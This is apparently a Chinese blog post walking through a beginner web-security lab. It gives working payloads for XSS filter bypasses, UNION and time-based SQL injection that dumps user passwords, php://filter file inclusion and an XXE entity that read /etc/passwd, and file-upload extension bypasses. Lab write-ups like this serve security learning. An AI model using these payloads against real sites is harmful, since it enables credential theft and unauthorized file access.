这个靶场很基础,就是一个认识一下漏洞长啥模样,如何利用.入门挺好的吧…感觉这些我都会做.可我还是个菜鸡啊!:(
xss
example 1
1 | <Script>alert()</Script> |
无任何防护
example 2
1 | <Script>alert()</Script> |
大小写绕过
example 3
1 | name=<scri<script>pt>alert()</scri</script>pt> |
双写绕过.这里被坑了一下
example 4
1 | <img src = 1 onerror=alert()> |
script标签被过滤了..无法绕过.发现img,a,等标签可以使用
example 5
1 | <imgsrc="1"%20onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,98,39,41)> |
竟然把alert给过滤了?难道我非要弹窗吗???? confim可以代替alert函数弹窗..
但是比较推荐这个payload.如果实战中关键的函数被过滤了,就可以用这种转码的方式绕过.
Example 6
1 | "</script><img%20src="1"%20onerror=alert()> |
查看源代码
前面闭合双引号和标签.其实也是抱着试一试的心态,js代码不是很懂
example 7
1 | %27;alert()// <>” |
都被HTML实体化编码了,尝试用单引号闭合成功,但是没弹窗,发现多了个引号
于是构造注释成..
example 8
在URL里构造
1 | /"><script>alert(1)</script><form%20action=" |
不太懂为什么这样闭合. 先放着.
Example 9
URL加上
1 | #<script>alert(‘1‘)</script> |
问题是出在这句上.
1 | document.write(location.hash.substring(1)); |
Sqli
example 2
1 | %09and%091=1%23 |
空格被过滤 利用注释代替空格
example 3
在服务器里查看了一下两题的源码差别
1 | \s匹配任何空白字符,包括空格、制表符、换页符等,全部过滤掉 |
1 | 1%27/**/union/**/select/**/1,group_concat(name,0xa0,passwd),3,4,5/**/from/**/users%23 |
所以只能用这种payload
example 4
数字型注入
1 | id=2%20union%20select%201,2,3,4,5 |
没啥说的
网上的题解是说对单引号进行过滤了,但是却是一个数字型的注入,所以过滤毫无意义,虚拟机分辨率不知道什么情况,不能显示完整的代码.就不贴了,郁闷:(
example 5
看不出和第四关有什么差别…(没有查看源码…还是数字型注入.用第四关的payload就行了.. 有点无语
1 | %20union%20select%201,name,passwd,4,5%20from%20users |
example 6
这里还是有点小坑的.. 竟然查了一下题解,竟然是判断最后一位字符是不是数字…这是啥防御??
1 | %20union%20select%201,name,passwd,4,5%20from%20users%20%23%201 |
那就在末尾加上一个数字呗..为了保证语法正确,加上%23注释掉了这个多余的1
example 7
又是一个正则.
1 | 正则 /m 是匹配换行符,也就是说它只判断换行符前的语句是否合法. |
payload
1 | %0aunion%20select%201,name,passwd,4,5%20from%20users |
example 8
不会做的时候..还是选择看看源码吧..(= =我是看题解)
用xor进行语句的链接.
为什么不用or呢?
xor就是10,01这种情况都返回的是1,而00,11,这种情况都是0
即使第一项已经是1,仍然需要判断第二项是1,还是0.这样构造的语句就可以被执行
注意时间!!!!
or 呢,当前面一项已经是1的时候就不执行第二项的式子了
1 | order=age`%20xor%20if(ascii(substring(user(),1,1))%3E111,sleep(5),0)%23 |
至于反引号也能理解.. 因为orderby后面拼接的是表名.所以可能用反引号来包裹.
不过.我还是看了源码里面拼接了反引号.而起用了mysql_real_escape_string()对特殊字符进行转义
example 9
没有了反引号..题解说是被过滤了.
前一项报错,后一项正确
1 | order=1%20xor%20if(ascii(substring(user(),1,1))=112,sleep(5),0)%2 |
文件包含
example 1
直接读取到etc/password文件
payload
1 | <http://xxxxx/fileincl/example1.php?page=php://filter/read=convert.base64-encode/resource=../../../../../../../etc/passwd> |
example 2
用上一个payload回报错.发现文件名写死为.php了
那么! 就%00截断吧
1 | http://xxxxx/fileincl/example2.php?page=php://filter/read=convert.base64-encode/resource=../../../../../../../etc/passwd%00 |
文件上传
第一关没啥好说,直接php文件就成功了
eaxmple 2
测试发现,他是判断末尾是否为php
于是利用php的别名 php3,pht等等就可以绕过
大小写也可以绕过
还有一种 构造成1.jpg.php. 注意最后有一个点!
抓包修改文件后缀
访问就可以执行php代码了
XML—XXE
example 1
payload
XXE原理以及利用方式之前写了一点点.https://zhhhy.github.io/2018/08/21/XXE/#more
1 | <abc>&test;</abc> |
要进行URL加密…可是hackbar加密出来的有问题…死活提交不对.拿到解码网站去就ok了;
1 | %3c%3fxml+version%3d%221.0%22%3f%3e%3c!DOCTYPE+ANY+%5b%3c!ENTITY+test+SYSTEM+%22file%3a%2f%2f%2fetc%2fpasswd%22%3e%5d%3e%3cabc%3e%26test%3b%3c%2fabc%3e |
exmaple 2
1 | <http://192.168.43.217/xml/example2.php?name=hacker%20%27or%201=1]/parent::*/child::node()%00> |
对xxe注入没什么研究